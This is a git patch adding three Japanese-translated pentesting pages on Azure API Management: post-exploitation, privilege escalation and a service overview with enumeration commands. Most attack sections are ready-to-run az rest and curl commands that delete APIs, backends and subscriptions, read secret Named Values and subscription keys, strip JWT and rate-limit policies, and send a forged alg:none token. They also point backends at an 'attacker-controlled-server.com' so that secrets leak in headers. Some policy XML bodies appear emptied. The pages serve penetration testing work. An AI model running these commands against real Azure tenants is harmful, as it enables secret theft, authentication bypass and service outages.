From c097e98d79c08f6dfef7893d4f570b2878b87376 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 23 Dec 2025 16:36:17 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- .../az-api-management-post-exploitation.md | 76 ++++++++ .../az-api-management-privesc.md | 170 ++++++++++++++++++ .../az-services/az-api-management.md | 74 ++++++++ 3 files changed, 320 insertions(+) create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-api-management.md diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md new file mode 100644 index 000000000..b912da974 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -0,0 +1,76 @@ +# Azure - API Management Post-Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` +攻撃者は複数のベクターを利用してdenial of serviceを引き起こすことができます。正当なトラフィックを遮断するために、攻撃者は極めて低い値のレート制限やクォータポリシーを追加し、通常のアクセスを事実上不可能にします: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +特定の正当なクライアントIPをブロックするために、攻撃者は選択したアドレスからのリクエストを拒否するIPフィルタリングポリシーを追加できます: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "
1.2.3.4
1.2.3.5
" +} +}' +``` +## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete` +リクエストを失敗させるために、攻撃者はバックエンド設定を変更してその URL を無効または到達不能なアドレスに変更できます: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://invalid-backend-that-does-not-exist.com", +"protocol": "http" +} +}' +``` +または backends を削除する: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/apis/delete` +重要な APIs を利用不能にするため、攻撃者は API Management service からそれらを直接削除できます: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +インターネットからのアクセスを遮断するために、攻撃者は API Management service のパブリック ネットワークアクセスを無効化できます: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Disabled" +} +}' +``` +## `Microsoft.ApiManagement/service/subscriptions/delete` + +正当なユーザーのアクセスを遮断するため、攻撃者は API Management subscriptions を削除できます: +```bash +az rest --method DELETE \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ +--headers "If-Match=*" +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md new file mode 100644 index 000000000..beedb3cb0 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -0,0 +1,170 @@ +# Az - API Management Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` + +この攻撃は、Azure API Management Named Values に保存されている機密 secrets にアクセスすることを目的としています。直接 secret values を取得するか、権限を悪用して managed identities を介して Key Vault–backed secrets を取得することで行われます。 +```bash +az apim nv show-secret --resource-group --service-name --named-value-id +``` +## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` +各サブスクリプションについて、攻撃者は POST メソッドで listSecrets エンドポイントを使用してサブスクリプションキーを取得できます: +```bash +az rest --method POST \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" +``` +レスポンスにはサブスクリプションの primary key (primaryKey) と secondary key (secondaryKey) が含まれます。これらのキーを使うことで、攻撃者は API Management Gateway を通じて公開された APIs に対して認証してアクセスできます: +```bash +curl -H "Ocp-Apim-Subscription-Key: " \ +https://.azure-api.net/ +``` +攻撃者は、サブスクリプションに関連付けられたすべてのAPIと製品にアクセスできます。サブスクリプションが機密性の高い製品やAPIにアクセスできる場合、攻撃者は機密情報を取得したり、不正な操作を行ったりする可能性があります。 + +## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` + +攻撃者はまず現在のAPIポリシーを取得します: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" +``` +攻撃者は目的に応じてポリシーを複数の方法で変更できます。例えば、認証を無効化するには、ポリシーが JWT token validation を含んでいる場合、その部分を削除するかコメントアウトできます: +```xml + + + + + + + + + + + + + + + + +``` +rate limiting controls を解除して denial-of-service 攻撃を可能にするために、攻撃者は quota および rate-limit policies を削除またはコメントアウトできます: +```xml + + + + + + +... + +``` +バックエンドのルートを変更して、トラフィックを攻撃者が制御するサーバーにリダイレクトするには: +```xml + +... + + + + +... + +``` +攻撃者は修正したポリシーを適用します。リクエストボディは、XML形式のポリシーを含むJSONオブジェクトでなければなりません: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"format": "rawxml", +"value": "" +} +}' +``` +## JWT 検証の誤設定 + +攻撃者は、APIがJWTトークンの検証を使用しており、ポリシーが誤設定されていることを知る必要があります。誤って構成されたJWT検証ポリシーは `require-signed-tokens="false"` や `require-expiration-time="false"` を持っていることがあり、これによりサービスが署名されていないトークンや期限が設定されていないトークンを受け入れてしまいます。 + +攻撃者は none アルゴリズム(署名なし)を使用して悪意のあるJWTトークンを作成します: +``` +# Header: {"alg":"none"} +# Payload: {"sub":"user"} +eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0. +``` +攻撃者は悪意のあるトークンを使用してAPIにリクエストを送信します: +```bash +curl -X GET \ +-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ +https://.azure-api.net/path +``` +ポリシーが `require-signed-tokens="false"` に誤設定されていると、サービスは unsigned token を受け入れます。attacker は `require-expiration-time="false"` の場合、expiration claim を含まない token を作成することもできます。 + +## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` +attacker はまずサービスの現在のネットワーク構成を確認します: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" +``` +攻撃者はJSONレスポンスを確認して、`publicNetworkAccess` と `virtualNetworkType` の値を検証する。もし `publicNetworkAccess` が false に設定されているか、`virtualNetworkType` が Internal に設定されている場合、サービスはプライベートアクセスに設定されている。 + +サービスをインターネットに公開するには、攻撃者は両方の設定を変更する必要がある。サービスが内部モードで稼働している場合(`virtualNetworkType: "Internal"`)、攻撃者はそれを None または External に変更し、`publicNetworkAccess` を有効にする。これは Azure Management API を使用して行える: +```bash +az rest --method PATCH \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"publicNetworkAccess": "Enabled", +"virtualNetworkType": "None" +} +}' +``` +一旦 `virtualNetworkType` が `None` または `External` に設定され、`publicNetworkAccess` が有効になると、サービスとそのすべての API はインターネットからアクセス可能になり、以前プライベートネットワークやプライベートエンドポイントの背後で保護されていた場合でも同様です。 + +## `Microsoft.ApiManagement/service/backends/write` +攻撃者はまず既存の backends を列挙して、どれを変更するかを特定します: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" +``` +攻撃者は変更したいバックエンドの現在の構成を取得する: +```bash +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" +``` +攻撃者はバックエンドの URL を自分が管理するサーバーを指すように変更します。まず、前回のレスポンスから ETag を取得し、バックエンドを更新します: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"description": "Backend modified by attacker" +} +}' +``` +別の方法として、攻撃者はbackend headersを構成して、秘密を含むNamed Valuesをexfiltrateできます。これはbackend credentials configurationを通じて行います: +```bash +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ +--headers "Content-Type=application/json" "If-Match=*" \ +--body '{ +"properties": { +"url": "https://attacker-controlled-server.com", +"protocol": "http", +"credentials": { +"header": { +"X-Secret-Value": ["{{named-value-secret}}"] +} +} +} +}' +``` +この構成では、Named Valuesはすべてのリクエストでattacker-controlled backendにヘッダーとして送信され、sensitive secretsのexfiltrationを可能にします。 + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md new file mode 100644 index 000000000..5b9e69fcb --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -0,0 +1,74 @@ +# Az - API Management + +{{#include ../../../banners/hacktricks-training.md}} + +## 基本情報 + +Azure API Management (APIM) は、**API を公開、保護、変換、管理、監視するための統合プラットフォーム** を提供するフルマネージドサービスです。組織が API 戦略を一元化し、すべてのサービスで一貫したガバナンス、パフォーマンス、セキュリティを確保できるようにします。バックエンドサービスと API 利用者の間の抽象化レイヤーとして機能することで、APIM は統合を簡素化し、保守性を向上させると同時に、運用およびセキュリティに必要な機能を提供します。 + +## コアコンセプト + +**APIゲートウェイ** は、すべての API トラフィックの単一のエントリポイントとして機能し、リクエストのルーティング、レート制限の適用、レスポンスのキャッシュ、認証と認可の管理などの機能を処理します。このゲートウェイは Azure によって完全にホストおよび管理されており、高可用性とスケーラビリティが保証されます。 + +**開発者ポータル** は、API 利用者が利用可能な API を発見し、ドキュメントを読み、エンドポイントをテストできるセルフサービス環境を提供します。インタラクティブなツールやサブスクリプション情報へのアクセスを通じてオンボーディングを効率化します。 + +**管理ポータル(管理プレーン)** は、管理者が APIM サービスを構成および維持するために使用します。ここから API や操作の定義、アクセス制御の構成、ポリシーの適用、ユーザー管理、API の製品への整理などが行えます。このポータルは管理を集中化し、一貫した API ガバナンスを確保します。 + +## 認証と認可 + +Azure API Management は API アクセスを保護するために複数の **認証メカニズム** をサポートします。これには **subscription keys**、**OAuth 2.0 tokens**、および **client certificates** が含まれます。APIM は **Microsoft Entra ID** とネイティブに統合されており、エンタープライズレベルのアイデンティティ管理と、API およびバックエンドサービスへの安全なアクセスを可能にします。 + +## ポリシー + +APIM のポリシーにより、サービス、API、操作、または製品レベルなど、さまざまな粒度での **リクエストおよびレスポンス処理** を管理者がカスタマイズできます。ポリシーを通して、**JWT トークン検証**、**XML や JSON ペイロードの変換**、**レート制限の適用**、**IP アドレスによる呼び出し制限**、および **managed identities を使用したバックエンドサービスへの認証** などが実現可能です。ポリシーは非常に柔軟であり、APIM プラットフォームの **コアとなる強み** の一つで、バックエンドのコードを変更することなくランタイム挙動を細かく制御できます。 + +## Named Values + +このサービスは **Named Values** と呼ばれる仕組みを提供しており、**シークレット**、**API キー**、およびポリシーで必要となるその他の **設定情報** を格納できます。 + +これらの値は APIM 内に直接保存することも、**Azure Key Vault** から安全に参照することも可能です。Named Values は設定データの安全で集中化された管理を促進し、ハードコーディングの代わりに **再利用可能な参照** を用いることでポリシー作成を簡素化します。 + +## ネットワーキングとセキュリティの統合 + +Azure API Management は **Virtual Network (VNet)** 環境とシームレスに統合し、バックエンドシステムへの **プライベートで安全な接続** を可能にします。 + +VNet 内にデプロイされた場合、APIM は内部サービスへ公開せずにアクセスできます。また、**相互 TLS 認証 (mutual TLS authentication)** をサポートするための **カスタム証明書** の構成も可能で、強固なアイデンティティ検証が必要なシナリオでのセキュリティを向上させます。 + +これらの **ネットワーキング機能** により、APIM はクラウドネイティブなアーキテクチャだけでなく **ハイブリッドアーキテクチャ** にも適しています。 + +### 列挙 + +API 管理サービスを列挙するには: +```bash +# Lists all Named Values configured in the Azure API Management instance +az apim nv list --resource-group --service-name + +# Retrieves all policies applied at the API level in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" + +# Retrieves the effective policy for a specific API in raw XML format +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01&format=rawxml" + +# Gets the configuration details of the APIM service instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Lists all backend services registered in the APIM instance +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" + +# Retrieves details of a specific backend service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" + +# Gets general information about the APIM service +az rest --method GET \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" + +# Calls an exposed API endpoint through the APIM gateway +curl https://.azure-api.net/ + +``` +{{#include ../../../banners/hacktricks-training.md}}